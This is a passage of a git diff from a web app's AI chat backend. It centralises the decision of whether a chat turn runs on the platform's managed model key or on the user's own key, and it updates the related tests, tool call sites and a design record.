= vi.hoisted(() => ({ mockMark: vi.fn(async (_conversationId: unknown) => undefined) })); +vi.mock('@/lib/ai/core/model-key-source', () => ({ markManagedConversation: mockMark })); + +import { decideTurnKey } from '../turn-key'; + +const decided = (source: 'managed' | 'user_key' | 'refused') => vi.fn(async () => (source === 'refused' ? { source, reason: 'byok_unavailable' as const } : { source })); + +describe('decideTurnKey', () => { + beforeEach(() => vi.clearAllMocks()); + + it('given a solo /help, should decide nothing and mark nothing', async () => { + const resolve = decided('user_key'); + expect([await decideTurnKey({ soloHelp: true, callerKeySource: 'user_key', conversationId: 'c1', resolve }), resolve.mock.calls.length, mockMark.mock.calls.length]).toEqual([{ source: 'managed' }, 0, 0]); + }); + + it('given a worker dispatched from a run on PageSpace\'s key, should stay managed without asking, and mark the conversation', async () => { + const resolve = decided('user_key'); + expect([await decideTurnKey({ soloHelp: false, callerKeySource: 'managed', conversationId: 'c1', resolve }), resolve.mock.calls.length, mockMark.mock.calls]).toEqual([{ source: 'managed' }, 0, [['c1']]]); + }); + + it('given a worker dispatched from a run on the person\'s key that would land on PageSpace\'s, should refuse it 409', async () => { + const result = await decideTurnKey({ soloHelp: false, callerKeySource: 'user_key', conversationId: 'c1', resolve: decided('managed') }); + expect('refusal' in result ? result.refusal.status : null).toBe(409); + }); + + it('given the person\'s key unusable, should refuse 503; given their key, should run on it unmarked', async () => { + const refused = await decideTurnKey({ soloHelp: false, callerKeySource: undefined, conversationId: 'c1', resolve: decided('refused') }); + const own = await decideTurnKey({ soloHelp: false, callerKeySource: 'user_key', conversationId: 'c1', resolve: decided('user_key') }); + expect(['refusal' in refused ? refused.refusal.status : null, own, mockMark.mock.calls.length]).toEqual([503, { source: 'user_key' }, 0]); + }); +}); diff --git a/apps/web/src/lib/ai/chat-pipeline/global-chat-turn.ts b/apps/web/src/lib/ai/chat-pipeline/global-chat-turn.ts index 6185e78bda..af5c55a8b5 100644 --- a/apps/web/src/lib/ai/chat-pipeline/global-chat-turn.ts +++ b/apps/web/src/lib/ai/chat-pipeline/global-chat-turn.ts @@ -36,7 +36,7 @@ import { UNGATED_TURN_CREDIT, personalTurnTiers, turnCreditAfterGate, type TurnC import { writeTurnPreamble } from './turn-preamble'; import { isMeteringExempt } from '@pagespace/lib/ai/model-defaults'; import { resolveModelKeySource, type ModelKeyDecision, type ModelKeySource } from '@/lib/ai/core/model-key-source'; -import { createByokKeyMismatchResponse, createByokUnavailableResponse } from '@/lib/ai/core/byok-responses'; +import { decideTurnKey } from './turn-key'; import { estimateChatHoldCentsForModel } from '@pagespace/lib/monitoring/chat-pricing'; import { releaseHold } from '@pagespace/lib/billing/credit-consume'; import { creditGateErrorResponse } from '@/lib/subscription/credit-gate-response'; @@ -445,15 +445,15 @@ export async function runGlobalChatTurn(ctx: GlobalChatTurnContext): Promise resolveModelKeySource({ userId, provider: gateProvider, driveId: locationContext?.currentDrive?.id ?? null, conversationId }), + }); + if ('refusal' in turnKey) return turnKey.refusal; + assistantKey = turnKey; assistantKeySource = assistantKey.source; if (!isMeteringExempt(gateProvider) && assistantKeySource !== 'user_key' && !isSoloHelpRequest) { const creditGate = await canConsumeAI(userId, personalTurnTiers(gateUser?.subscriptionTier).gate, { diff --git a/apps/web/src/lib/ai/chat-pipeline/page-chat-turn.ts b/apps/web/src/lib/ai/chat-pipeline/page-chat-turn.ts index 6350116db7..a1090d581d 100644 --- a/apps/web/src/lib/ai/chat-pipeline/page-chat-turn.ts +++ b/apps/web/src/lib/ai/chat-pipeline/page-chat-turn.ts @@ -45,8 +45,8 @@ import { import { MAX_CHAT_INFLIGHT } from '@pagespace/lib/billing/credit-pricing'; import { canConsumeAI } from '@pagespace/lib/billing/credit-gate'; import { isMeteringExempt } from '@pagespace/lib/ai/model-defaults'; -import { resolveModelKeySource, type ModelKeyDecision, type ModelKeySource } from '@/lib/ai/core/model-key-source'; -import { createByokKeyMismatchResponse, createByokUnavailableResponse } from '@/lib/ai/core/byok-responses'; +import { resolveModelKeySource, type ModelKeySource } from '@/lib/ai/core/model-key-source'; +import { decideTurnKey } from './turn-key'; import { estimateChatHoldCentsForModel } from '@pagespace/lib/monitoring/chat-pricing'; import { makeOnStepFinishHandler } from '@/lib/ai/core/step-finish-handler'; import { releaseHold } from '@pagespace/lib/billing/credit-consume'; @@ -818,12 +818,14 @@ export async function runPageChatTurn(ctx: PageChatTurnContext): Promise resolveModelKeySource({ userId: userId!, provider: gateProvider, driveId: page.driveId, contentDriveIds: memberContextDriveIds, conversationId }), + }); + if ('refusal' in keyDecision) return keyDecision.refusal; turnKeySource = keyDecision.source; if (!isMeteringExempt(gateProvider) && turnKeySource !== 'user_key' && !isSoloHelpRequest) { const creditGate = await canConsumeAI(userId, personalTurnTiers(user?.subscriptionTier).gate, { diff --git a/apps/web/src/lib/ai/chat-pipeline/turn-key.ts b/apps/web/src/lib/ai/chat-pipeline/turn-key.ts new file mode 100644 index 0000000000..c3da1183ef --- /dev/null +++ b/apps/web/src/lib/ai/chat-pipeline/turn-key.ts @@ -0,0 +1,29 @@ +/** + * BYOK (ADR 0009): whose key a chat turn runs on — the one decision both turn strategies (page, global) make before + * their credit gate, so they cannot drift apart. + * + * - A solo /help runs no model: PageSpace's key, and nothing to decide (nor a credential plane to need). + * - A dispatched worker keeps the key its dispatching run was on: on PageSpace's key it stays there (its message may + * carry an org's content); on the person's key it must run there too, or it is refused (409), because its answer + * goes back to that run. + * - Otherwise the call's own decision (`resolve`), refused (503) when the person's key cannot be used. + * + * A turn on PageSpace's key marks its conversation here (I10), before the turn saves anything. + */ +import type { NextResponse } from 'next/server'; +import { markManagedConversation, type ModelKeyDecision, type ModelKeySource } from '@/lib/ai/core/model-key-source'; +import { createByokKeyMismatchResponse, createByokUnavailableResponse } from '@/lib/ai/core/byok-responses'; + +export async function decideTurnKey(input: { + readonly soloHelp: boolean; + readonly callerKeySource: ModelKeySource | undefined; + readonly conversationId: string | null | undefined; + readonly resolve: () => Promise; +}): Promise<{ readonly source: ModelKeySource } | { readonly refusal: NextResponse }> { + if (input.soloHelp) return { source: 'managed' }; + const decision: ModelKeyDecision = input.callerKeySource === 'managed' ? { source: 'managed' } : await input.resolve(); + if (decision.source === 'refused') return { refusal: createByokUnavailableResponse() }; + if (input.callerKeySource === 'user_key' && decision.source !== 'user_key') return { refusal: createByokKeyMismatchResponse() }; + if (decision.source === 'managed') await markManagedConversation(input.conversationId); + return { source: decision.source }; +} diff --git a/apps/web/src/lib/ai/core/__tests__/model-key-source.test.ts b/apps/web/src/lib/ai/core/__tests__/model-key-source.test.ts index 58cb23d168..e4e7451240 100644 --- a/apps/web/src/lib/ai/core/__tests__/model-key-source.test.ts +++ b/apps/web/src/lib/ai/core/__tests__/model-key-source.test.ts @@ -47,15 +47,15 @@ describe('decideModelKeySource', () => { }); it('given a call an org governs (its drive or its content), should use PageSpace\'s key, never the person\'s', () => { - expect(decideModelKeySource({ ...base, orgGoverned: true })).toEqual({ source: 'managed', byokActive: true }); + expect(decideModelKeySource({ ...base, orgGoverned: true })).toEqual({ source: 'managed' }); }); it('given a call in a drive someone else owns, whose wallet may pay, should use PageSpace\'s key (a key is only ever the funder\'s)', () => { - expect(decideModelKeySource({ ...base, fundedByAnother: true })).toEqual({ source: 'managed', byokActive: true }); + expect(decideModelKeySource({ ...base, fundedByAnother: true })).toEqual({ source: 'managed' }); }); it('given a conversation that already ran on PageSpace\'s key, should stay there: its history may hold an org\'s content', () => { - expect(decideModelKeySource({ ...base, conversationOnManagedKey: true })).toEqual({ source: 'managed', byokActive: true }); + expect(decideModelKeySource({ ...base, conversationOnManagedKey: true })).toEqual({ source: 'managed' }); }); it('given a call that would use the person\'s key but no credential plane, should refuse rather than run on PageSpace\'s key', () => { @@ -107,16 +107,16 @@ describe('resolveModelKeySource', () => { it('given a call in a personal drive another person owns, should use PageSpace\'s key', async () => { readsReturn({ drives: [{ id: 'd1', orgId: null, ownerId: 'u2' }] }); - expect(await resolveModelKeySource({ userId: 'u1', provider: 'openrouter', driveId: 'd1' })).toEqual({ source: 'managed', byokActive: true }); + expect(await resolveModelKeySource({ userId: 'u1', provider: 'openrouter', driveId: 'd1' })).toEqual({ source: 'managed' }); }); it('given a content drive an org owns, should use PageSpace\'s key whoever owns the call\'s drive', async () => { readsReturn({ drives: [{ id: 'd1', orgId: null, ownerId: 'u1' }, { id: 'org-drive', orgId: 'org1', ownerId: 'u3' }] }); - expect(await resolveModelKeySource({ userId: 'u1', provider: 'openrouter', driveId: 'd1', contentDriveIds: ['org-drive'] })).toEqual({ source: 'managed', byokActive: true }); + expect(await resolveModelKeySource({ userId: 'u1', provider: 'openrouter', driveId: 'd1', contentDriveIds: ['org-drive'] })).toEqual({ source: 'managed' }); }); it('given org-derived content (memory distilled from an org), should use PageSpace\'s key', async () => { - expect(await resolveModelKeySource({ userId: 'u1', provider: 'openrouter', driveId: null, contentOrgIds: ['org1'] })).toEqual({ source: 'managed', byokActive: true }); + expect(await resolveModelKeySource({ userId: 'u1', provider: 'openrouter', driveId: null, contentOrgIds: ['org1'] })).toEqual({ source: 'managed' }); }); it('given a conversation with a call on PageSpace\'s key, should keep it there; with none, should use the person\'s key', async () => { @@ -159,24 +159,21 @@ describe('markManagedConversation', () => { beforeEach(() => { vi.clearAllMocks(); mockInsert.mockReturnValue({ values }); - mockIsFeatureEnabled.mockResolvedValue(true); - mockListForUser.mockResolvedValue([{ slug: 'openrouter-model-key', ownerKind: 'user', status: 'active', credentialVersion: 1 }]); }); - it('given a person with their own key switched on, should mark the conversation before the managed call runs', async () => { - await markManagedConversation({ userId: 'u1', conversationId: 'c1' }); - expect(values.mock.calls).toEqual([[{ conversationId: 'c1', userId: 'u1' }]]); + it('given a managed call in a conversation, should mark the conversation alone, whoever made the call', async () => { + await markManagedConversation('c1'); + expect(values.mock.calls).toEqual([[{ conversationId: 'c1' }]]); }); - it('given a decision that read no own key, or no conversation, should write nothing and read nothing', async () => { - await markManagedConversation({ userId: 'u1', conversationId: 'c1', byokActive: false }); - await markManagedConversation({ userId: 'u1', conversationId: null }); - expect([values.mock.calls.length, mockIsFeatureEnabled.mock.calls.length]).toEqual([0, 0]); + it('given no conversation, should write nothing', async () => { + await markManagedConversation(null); + await markManagedConversation(''); + expect(values.mock.calls.length).toBe(0); }); - it('given the flag off for the person, should write nothing', async () => { - mockIsFeatureEnabled.mockResolvedValue(false); - await markManagedConversation({ userId: 'u1', conversationId: 'c1' }); - expect(values.mock.calls.length).toBe(0); + it('given the write failing, should not fail the call (the usage log is still its record)', async () => { + mockInsert.mockImplementation(() => { throw new Error('db down'); }); + await expect(markManagedConversation('c1')).resolves.toBeUndefined(); }); }); diff --git a/apps/web/src/lib/ai/core/__tests__/provider-factory.test.ts b/apps/web/src/lib/ai/core/__tests__/provider-factory.test.ts index 201654db94..268d71f3c4 100644 --- a/apps/web/src/lib/ai/core/__tests__/provider-factory.test.ts +++ b/apps/web/src/lib/ai/core/__tests__/provider-factory.test.ts @@ -65,7 +65,7 @@ vi.mock('@pagespace/lib/organizations/policy-reader', () => ({ getDrivePolicies, // BYOK (ADR 0009): whose key runs is decided in model-key-source (tested there); here it is PageSpace's unless a test says. const resolveModelKeySource = vi.hoisted(() => vi.fn(async (_scope: unknown) => ({ source: 'managed' as const }))); -const markManagedConversation = vi.hoisted(() => vi.fn(async (_input: unknown) => undefined)); +const markManagedConversation = vi.hoisted(() => vi.fn(async (_conversationId: unknown) => undefined)); vi.mock('../model-key-source', () => ({ resolveModelKeySource, markManagedConversation })); vi.mock('@/lib/agent-accounts/account-authority-client', () => ({ getAccountAuthority: vi.fn(() => null) })); @@ -594,10 +594,13 @@ describe('provider-factory', () => { await createAIProvider('user-123', { selectedProvider: 'anthropic', selectedModel: 'anthropic/claude-sonnet-4.6' }, { user: { currentAiProvider: 'anthropic', currentAiModel: 'anthropic/claude-sonnet-4.6' }, driveId: null, - keySource: { source: 'managed', byokActive: true }, + keySource: { source: 'managed' }, modelCall: { conversationId: 'conv-1' }, }); - expect(markManagedConversation.mock.calls.at(-1)?.[0]).toEqual({ userId: 'user-123', conversationId: 'conv-1', byokActive: true }); + // Marked first: the OpenRouter client (and so any model call) comes after the mark. + const markedAt = markManagedConversation.mock.invocationCallOrder.at(-1) ?? Infinity; + const builtAt = vi.mocked(createOpenRouter).mock.invocationCallOrder.at(-1) ?? -Infinity; + expect([markManagedConversation.mock.calls.at(-1)?.[0], markedAt < builtAt]).toEqual(['conv-1', true]); }); it('given content that only the key decision counts, should decide on it with the conversation, without POL-8 judging it', async () => { diff --git a/apps/web/src/lib/ai/core/__tests__/upstream-key-source.test.ts b/apps/web/src/lib/ai/core/__tests__/upstream-key-source.test.ts new file mode 100644 index 0000000000..51ccc1d9ea --- /dev/null +++ b/apps/web/src/lib/ai/core/__tests__/upstream-key-source.test.ts @@ -0,0 +1,19 @@ +/** + * BYOK (ADR 0009): whose key the content a tool context carries was made on. Every hand-off (a consult, a session + * worker, an image, a transcript read) asks this one question. + */ +import { describe, expect, it } from 'vitest'; +import { upstreamKeySource } from '../tool-model-context'; + +describe('upstreamKeySource', () => { + it('given a model run, should answer its key; a person-triggered run, the key its gate decided', () => { + expect([ + upstreamKeySource({ modelKeySource: 'user_key', runsModel: true, aiProvider: 'openrouter', aiModel: 'm' }), + upstreamKeySource({ gatedKeySource: 'managed' }), + ]).toEqual(['user_key', 'managed']); + }); + + it('given a run that judges a model but names no key (voice), should answer PageSpace\'s key; a context that runs no model, nothing', () => { + expect([upstreamKeySource({ aiProvider: 'openai', aiModel: 'gpt-realtime' }), upstreamKeySource({}), upstreamKeySource(undefined)]).toEqual(['managed', undefined, undefined]); + }); +}); diff --git a/apps/web/src/lib/ai/core/model-key-source.ts b/apps/web/src/lib/ai/core/model-key-source.ts index f8e404651c..889163e55a 100644 --- a/apps/web/src/lib/ai/core/model-key-source.ts +++ b/apps/web/src/lib/ai/core/model-key-source.ts @@ -42,18 +42,9 @@ import { getBackendProvider } from './provider-backend'; export type ModelKeySource = 'managed' | 'user_key'; -export type ModelKeyDecision = - | { readonly source: 'user_key' } - /** - * `byokActive`: whether the person has their own key switched on — then a managed call in a conversation is marked - * (I10), since that conversation could otherwise move to their key later. Absent when the decision did not read it. - */ - | { readonly source: 'managed'; readonly byokActive?: boolean } - | { readonly source: 'refused'; readonly reason: 'byok_unavailable' }; +export type ModelKeyDecision = { readonly source: ModelKeySource } | { readonly source: 'refused'; readonly reason: 'byok_unavailable' }; const MANAGED: ModelKeyDecision = Object.freeze({ source: 'managed' }); -const MANAGED_NO_OWN_KEY: ModelKeyDecision = Object.freeze({ source: 'managed', byokActive: false }); -const MANAGED_OWN_KEY: ModelKeyDecision = Object.freeze({ source: 'managed', byokActive: true }); const REFUSED: ModelKeyDecision = Object.freeze({ source: 'refused', reason: 'byok_unavailable' }); export type ModelKeyFacts = { @@ -74,9 +65,9 @@ export type ModelKeyFacts = { }; export function decideModelKeySource(facts: ModelKeyFacts): ModelKeyDecision { - if (facts.onPrem) return MANAGED_NO_OWN_KEY; - if (facts.flagEnabled === false || !facts.hasModelKey) return MANAGED_NO_OWN_KEY; - if (facts.backend !== 'openrouter' || facts.orgGoverned || facts.fundedByAnother || facts.conversationOnManagedKey) return MANAGED_OWN_KEY; + if (facts.onPrem || facts.backend !== 'openrouter') return MANAGED; + if (facts.flagEnabled === false || !facts.hasModelKey) return MANAGED; + if (facts.orgGoverned || facts.fundedByAnother || facts.conversationOnManagedKey) return MANAGED; if (facts.flagEnabled === null || !facts.planeConfigured) return REFUSED; return { source: 'user_key' }; } @@ -112,9 +103,8 @@ async function hasActiveModelKey(userId: string): Promise { } /** - * Whether a conversation ever ran on PageSpace's key (I10): marked before its managed call ran (written by the - * provider factory for a person with their own key switched on), or — for a conversation older than the mark, or a - * person who had no key then — a managed call in its usage log. + * Whether a conversation ever ran on PageSpace's key (I10): marked before its managed call ran (the provider factory + * marks every one), or — for a conversation older than the mark — a managed call in its usage log. */ export async function conversationRanOnManagedKey(conversationId: string | null | undefined): Promise { if (typeof conversationId !== 'string' || conversationId.length === 0) return false; @@ -134,22 +124,15 @@ export async function conversationRanOnManagedKey(conversationId: string | null /** * Mark a conversation as having run on PageSpace's key, BEFORE that call runs, so the mark is durable before any - * content it protects is saved (a side question, a later turn, a compaction read it). Only for a person with their - * own key switched on: nobody else's conversation can move to a personal key. `byokActive` from the decision spares - * the lookup; absent, it is read here. A failed write is logged, and the call still runs: the usage log remains the - * record, so only a failure of both would leave the conversation unmarked. + * content it protects is saved (a side question, a later turn, a compaction read it). Every managed call that names a + * conversation marks it, whoever makes it: a conversation is shared (a page agent's thread, a session worker), so + * another person's managed turn in it must keep it off a personal key too. A failed write is logged, and the call + * still runs: the usage log remains the record, so only a failure of both would leave the conversation unmarked. */ -export async function markManagedConversation(input: { - readonly userId: string; - readonly conversationId: string | null | undefined; - readonly byokActive?: boolean; -}): Promise { - const { userId, conversationId } = input; - if (typeof conversationId !== 'string' || conversationId.length === 0 || input.byokActive === false) return; +export async function markManagedConversation(conversationId: string | null | undefined): Promise { + if (typeof conversationId !== 'string' || conversationId.length === 0) return; try { - const active = input.byokActive ?? ((await readFlag(userId)) !== false && (await hasActiveModelKey(userId))); - if (!active) return; - await db.insert(modelKeyManagedConversations).values({ conversationId, userId }).onConflictDoNothing(); + await db.insert(modelKeyManagedConversations).values({ conversationId }).onConflictDoNothing(); } catch (error) { loggers.ai.warn('BYOK: could not mark a conversation as run on PageSpace\'s key', { conversationId, error: error instanceof Error ? error.message : String(error) }); } @@ -159,12 +142,9 @@ export async function markManagedConversation(input: { export async function resolveModelKeySource(scope: ModelKeyCallScope): Promise { const onPrem = isOnPrem(); const backend = getBackendProvider(scope.provider); - if (onPrem) return MANAGED_NO_OWN_KEY; - // Not OpenRouter: never the person's key, and not worth a read to learn whether they have one (`markManagedConversation` - // reads it when it matters). - if (backend !== 'openrouter') return MANAGED; + if (onPrem || backend !== 'openrouter') return MANAGED; const flagEnabled = await readFlag(scope.userId); - if (flagEnabled === false) return MANAGED_NO_OWN_KEY; + if (flagEnabled === false) return MANAGED; let hasModelKey: boolean; try { hasModelKey = await hasActiveModelKey(scope.userId); @@ -174,7 +154,7 @@ export async function resolveModelKeySource(scope: ModelKeyCallScope): Promise | undefined, +): ModelKeySource | undefined { + if (context === undefined) return undefined; + if (context.modelKeySource !== undefined) return context.modelKeySource; + if (context.gatedKeySource !== undefined) return context.gatedKeySource; + return context.runsModel || context.aiProvider || context.aiModel ? 'managed' : undefined; +} diff --git a/apps/web/src/lib/ai/tools/__tests__/session-tools.test.ts b/apps/web/src/lib/ai/tools/__tests__/session-tools.test.ts index cc2c377fc6..7f5b34cd39 100644 --- a/apps/web/src/lib/ai/tools/__tests__/session-tools.test.ts +++ b/apps/web/src/lib/ai/tools/__tests__/session-tools.test.ts @@ -208,6 +208,14 @@ describe('list_sessions', () => { }); describe('spawn_session', () => { + it('BYOK (ADR 0009) should carry the calling run\'s key to the worker, and PageSpace\'s key for a run that names none (voice)', async () => { + const deps = makeDeps(); + const tools = createSessionTools(deps); + await run(tools.spawn_session, { name: 'worker', prompt: 'do the thing' }, contextOptions({ modelKeySource: 'user_key' })); + await run(tools.spawn_session, { name: 'worker', prompt: 'do the thing' }, contextOptions({ aiProvider: 'openai', aiModel: 'gpt-realtime' })); + expect(vi.mocked(deps.dispatch).mock.calls.map((call) => call[0].callerKeySource)).toEqual(['user_key', 'managed']); + }); + it('should create a labeled worker and dispatch its first turn one level deeper', async () => { const deps = makeDeps(); const tools = createSessionTools(deps); diff --git a/apps/web/src/lib/ai/tools/agent-communication-tools.ts b/apps/web/src/lib/ai/tools/agent-communication-tools.ts index 3020b35513..50279f7abe 100644 --- a/apps/web/src/lib/ai/tools/agent-communication-tools.ts +++ b/apps/web/src/lib/ai/tools/agent-communication-tools.ts @@ -17,7 +17,7 @@ import { listAgentDrives, getAgentContextDrives } from '@pagespace/lib/services/ import { listAccessibleDrives } from '@pagespace/lib/services/drive-service'; import { filterToolsForMcpScope, filterToolsForSandboxEnablement } from '@/lib/ai/core/tool-filtering'; import { createAIProvider, isProviderError, type ProviderRequest } from '@/lib/ai/core/provider-factory'; -import { toolModelContext } from '@/lib/ai/core/tool-model-context'; +import { toolModelContext, upstreamKeySource } from '@/lib/ai/core/tool-model-context'; import { sanitizeMessagesForModel, convertDbMessageToUIMessage } from '@/lib/ai/core/message-utils'; import { messageRepository } from '@/lib/repositories/message-repository'; import { conversationRepository } from '@/lib/repositories/conversation-repository'; @@ -755,7 +755,7 @@ export async function executeAskAgent( billedUserId, modelCall: { sessionId: executionContext?.authSessionId ?? null, conversationId: activeConversationId }, contextDriveIds, - parentKeySource: executionContext?.modelKeySource ?? executionContext?.gatedKeySource, + parentKeySource: upstreamKeySource(executionContext), }); const { model, provider: resolvedProvider, modelName: resolvedModelName } = providerResult; diff --git a/apps/web/src/lib/ai/tools/image-generation-tools.ts b/apps/web/src/lib/ai/tools/image-generation-tools.ts index 4e4d0ad62c..b5bf7bc786 100644 --- a/apps/web/src/lib/ai/tools/image-generation-tools.ts +++ b/apps/web/src/lib/ai/tools/image-generation-tools.ts @@ -1,3 +1,4 @@ +import { upstreamKeySource } from '../core/tool-model-context'; import { resolvePersonalCapabilityTier } from '@pagespace/lib/billing/deployment-capability'; import { tool } from 'ai'; import { z } from 'zod'; @@ -190,7 +191,7 @@ restricted to app administrators.`, // PageSpace's key, as that run's chat steps do (workflow-executor.ts). // And a turn on PageSpace's key keeps its image there: the prompt comes from that turn, which may have read an // org's content (ADR 0009 I6). - ...(billedUserId === userId && context?.modelKeySource !== 'managed' ? { userId } : {}), + ...(billedUserId === userId && upstreamKeySource(context) !== 'managed' ? { userId } : {}), modelCall: { sessionId: context?.authSessionId ?? null, conversationId: context?.conversationId ?? null }, }); if (isProviderError(imageProvider)) { diff --git a/apps/web/src/lib/ai/tools/session-tools.ts b/apps/web/src/lib/ai/tools/session-tools.ts index 68d7cb7edb..3aa86733e5 100644 --- a/apps/web/src/lib/ai/tools/session-tools.ts +++ b/apps/web/src/lib/ai/tools/session-tools.ts @@ -66,6 +66,7 @@ * wire name. */ +import { upstreamKeySource } from '../core/tool-model-context'; import { tool, type Tool } from 'ai'; import { z } from 'zod'; import { @@ -1698,7 +1699,7 @@ export function createSessionTools(deps: SessionToolsDeps): { depth: plan.childDepth, wait: wait === true, scope: readDispatchScope(context), - callerKeySource: context?.modelKeySource, + callerKeySource: upstreamKeySource(context), }); if (!dispatched.ok) { // The worker EXISTS either way — report the id with the failure so @@ -1749,7 +1750,7 @@ export function createSessionTools(deps: SessionToolsDeps): { depth: readDepth(context) + 1, wait: wait === true, scope: readDispatchScope(context), - callerKeySource: context?.modelKeySource, + callerKeySource: upstreamKeySource(context), }); if (!dispatched.ok) return dispatchFailure(dispatched); @@ -1777,7 +1778,7 @@ export function createSessionTools(deps: SessionToolsDeps): { const opened = await openAddressableSession(context, conversationId); if (!opened.ok) return opened.error; // BYOK (ADR 0009): a run on the person's own key never reads a transcript made on PageSpace's key. - if (context?.modelKeySource === 'user_key' && (deps.conversationRanOnManagedKey === undefined || (await deps.conversationRanOnManagedKey(conversationId)))) { + if (upstreamKeySource(context) === 'user_key' && (deps.conversationRanOnManagedKey === undefined || (await deps.conversationRanOnManagedKey(conversationId)))) { return MANAGED_TRANSCRIPT_DENIAL; } diff --git a/apps/web/src/lib/channels/__tests__/mention-credit-gate.test.ts b/apps/web/src/lib/channels/__tests__/mention-credit-gate.test.ts index 52c901a748..4b6989a8d2 100644 --- a/apps/web/src/lib/channels/__tests__/mention-credit-gate.test.ts +++ b/apps/web/src/lib/channels/__tests__/mention-credit-gate.test.ts @@ -16,7 +16,7 @@ vi.mock('@pagespace/db/schema/auth', () => ({ users: { id: 'id', subscriptionTie vi.mock('@pagespace/lib/billing/credit-gate', () => ({ canConsumeAI: mockCanConsumeAI })); vi.mock('@pagespace/lib/billing/credit-consume', () => ({ releaseHold: mockReleaseHold })); vi.mock('@pagespace/lib/billing/credit-pricing', () => ({ MAX_CHAT_INFLIGHT: 3 })); -vi.mock('@/lib/ai/core/model-key-source', () => ({ resolveModelKeySource: mockResolveModelKeySource })); +vi.mock('@/lib/ai/core/model-key-source', () => ({ resolveModelKeySource: mockResolveModelKeySource, markManagedConversation: vi.fn(async () => undefined) })); vi.mock('@pagespace/lib/services/drive-agent-service', () => ({ getAgentContextDrives: mockGetAgentContextDrives })); import { acquireMentionCreditHold } from '../mention-credit-gate'; @@ -76,7 +76,7 @@ describe('acquireMentionCreditHold', () => { it('BYOK (ADR 0009) decides the reply\'s key on its whole content scope (the agent\'s drive and its context drives) and reports the key it gated for', async () => { mockGetAgentContextDrives.mockResolvedValue([{ driveId: 'drive-org-context', driveName: 'Org', drivePrompt: 'x' }]); - mockResolveModelKeySource.mockResolvedValue({ source: 'managed', byokActive: true }); + mockResolveModelKeySource.mockResolvedValue({ source: 'managed' }); mockCanConsumeAI.mockResolvedValue({ allowed: true, reason: 'ok', holdId: 'hold-1', walletId: 'w-product' }); const hold = await acquireMentionCreditHold({ userId: 'user-marcus', driveId: 'drive-product', keyScope: { provider: 'openai', agentId: 'agent-1', agentDriveId: 'drive-agent', conversationId: 'conv-1' } }); diff --git a/apps/web/src/lib/workflows/workflow-executor.ts b/apps/web/src/lib/workflows/workflow-executor.ts index 4525b8350c..167e4a0b98 100644 --- a/apps/web/src/lib/workflows/workflow-executor.ts +++ b/apps/web/src/lib/workflows/workflow-executor.ts @@ -2,6 +2,7 @@ import { convertToModelMessages, generateText, stepCountIs, hasToolCall, type To import { finishTool, FINISH_TOOL_NAME } from '@/lib/ai/tools/finish-tool'; import { mergeToolSets } from '@/lib/ai/core/tool-utils'; import { createId } from '@paralleldrive/cuid2'; +import { markManagedConversation } from '@/lib/ai/core/model-key-source'; import { createAIProvider, isProviderError, type ProviderRequest } from '@/lib/ai/core/provider-factory'; import { toolModelContext } from '@/lib/ai/core/tool-model-context'; import { MODEL_ENTITLEMENT_MESSAGES, modelEntitlement } from '@/lib/ai/core/model-entitlement'; @@ -952,6 +953,9 @@ async function runExecution( } conversationId = plainConversationId; } + // BYOK (ADR 0009 I10): a run on PageSpace's key marks its conversation before the model runs (the factory ran + // before the conversation existed), so continuing it in chat never moves it to the person's own key. + if (providerResult.keySource !== 'user_key') await markManagedConversation(conversationId); // 7. Build execution context const agentActor = workflowActor(input, agent.driveId); @@ -1073,6 +1077,7 @@ async function runExecution( const usage = result.totalUsage; await AIMonitoring.trackUsage({ keySource: providerResult.keySource, + conversationId, // Counted as the consumer the run's gate bound: a manual Run's presser, else the creator (review #2817 P2-3). userId: input.creditSpend.userId ?? input.createdBy, provider: providerResult.provider, diff --git a/docs/adr/0009-model-keys-through-the-credential-plane.md b/docs/adr/0009-model-keys-through-the-credential-plane.md index 13f5dc0aa5..dc445b2182 100644 --- a/docs/adr/0009-model-keys-through-the-credential-plane.md +++ b/docs/adr/0009-model-keys-through-the-credential-plane.md @@ -54,14 +54,14 @@ The options: - the person has an active model key; - **no org governs the call or its content.** That covers the call's drive, its content drives (an agent's home drive, its context drives) and derived content (memory distilled from an org, discovery over org conversations); - **the person funds the call.** It runs in no drive, or in a drive they own, whose wallet is their own money. In someone else's drive that drive's wallet may pay, so the call stays on PageSpace's key; - - **the conversation has never run on PageSpace's key.** A managed turn may have read an org's content into the history, and every later turn replays that history. So a conversation can move from the person's key to PageSpace's, but never back. The durable signal is a row in `model_key_managed_conversations`. The provider factory writes it **before** the managed call runs, for a person with their own key switched on, so the mark exists before any content it protects is saved. A managed `ai_usage_logs` row for the conversation is the record for older conversations. + - **the conversation has never run on PageSpace's key.** A managed turn may have read an org's content into the history, and every later turn replays that history. So a conversation can move from the person's key to PageSpace's, but never back. The durable signal is a row in `model_key_managed_conversations`. The provider factory writes it **before** every managed call that names a conversation, whoever makes the call, since conversations are shared. A chat turn writes it at its own decision, and a workflow run once its conversation exists, both before anything is saved. The mark is keyed by conversation alone and names no person. A managed `ai_usage_logs` row for the conversation is the record for older conversations. Otherwise it returns `managed`. It returns `refused` (`byok_unavailable`) in two cases, both for a person with a key: the plane is not configured, or the flag lookup failed (the state is unknown, so the call is not quietly billed to PageSpace credits). The credit gate, the provider factory and billing all act on that one decision. If the provider that actually runs is not OpenRouter (the saved selection changed between the gate and the factory), the factory refuses the call. It never applies a `user_key` decision to another backend. 9. **On the person's key, no org content reaches the model.** These are enforced where the content is read, not by the decision alone: - **Tools.** The tool boundary that already judges org model allowlists (POL-8, `actor-permissions.ts`) refuses every org drive on a `user_key` run, whatever the allowlist says. This covers page reads, drive listings and searches, and command pages injected into the prompt. Because of this, a turn on the person's key never adds org content to its conversation. - **Assistant context.** No org drive in view, no org drive in the workspace summary or the agent list, and no memory distilled from an org (`memoryOrgIds`). - **Background passes.** Memory discovery, integration and compaction, and chat compaction, decide on the orgs and drives their input carries. A turn's compaction inherits the turn's key: a managed turn's compaction stays managed, even before that turn's usage row is written. - - **Nested runs inherit the caller's key.** The calling run's key travels with the call: through the signed agent-dispatch payload (`callerKeySource`) for session workers (`spawn_session`, `send_session`), and through the gate's decision for a channel mention's `ask_agent`. + - **Nested runs inherit the caller's key** (`upstreamKeySource`: the run's own key, else the key a gate decided, else PageSpace's key for any run that judges a model but names none, such as voice). The key travels with the call: through the signed agent-dispatch payload (`callerKeySource`) for session workers (`spawn_session`, `send_session`), and through the gate's decision for a channel mention's `ask_agent`. - A caller on PageSpace's key keeps the child there, because the child's message may carry org content. That includes the images it makes. - A caller on the person's key refuses a child that would run on PageSpace's key (409, `byok_key_mismatch`), because the child's answer may carry org content back. - `read_session` never returns a transcript from a conversation that ran on PageSpace's key to a caller on the person's key. 